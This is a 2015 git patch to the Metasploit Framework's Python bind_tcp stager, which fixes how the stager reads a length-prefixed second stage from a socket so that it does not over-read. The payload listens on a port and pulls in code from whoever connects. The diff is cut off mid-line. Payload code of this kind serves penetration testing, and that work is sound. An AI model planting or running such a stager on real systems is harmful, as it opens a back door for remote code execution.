From 18e15a109a2dfcbb53b250689f9f37bbd250abbf Mon Sep 17 00:00:00 2001 From: eyalgr Date: Sun, 18 Jan 2015 15:35:56 +0200 Subject: [PATCH] Update bind_tcp.rb Prevent over reading from socket --- modules/payloads/stagers/python/bind_tcp.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 97d74f1cb2..304a4cc66f 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -36,9 +36,9 @@ module Metasploit3 cmd << "s.listen(1)\n" cmd << "c,a=s.accept()\n" cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd << "d=c.recv(4096)\n" - cmd << "while len(d)!=l:\n" - cmd << "\td+=c.recv(4096)\n" + cmd << "d=c.recv(min(4096,l))\n" + cmd << "while len(d)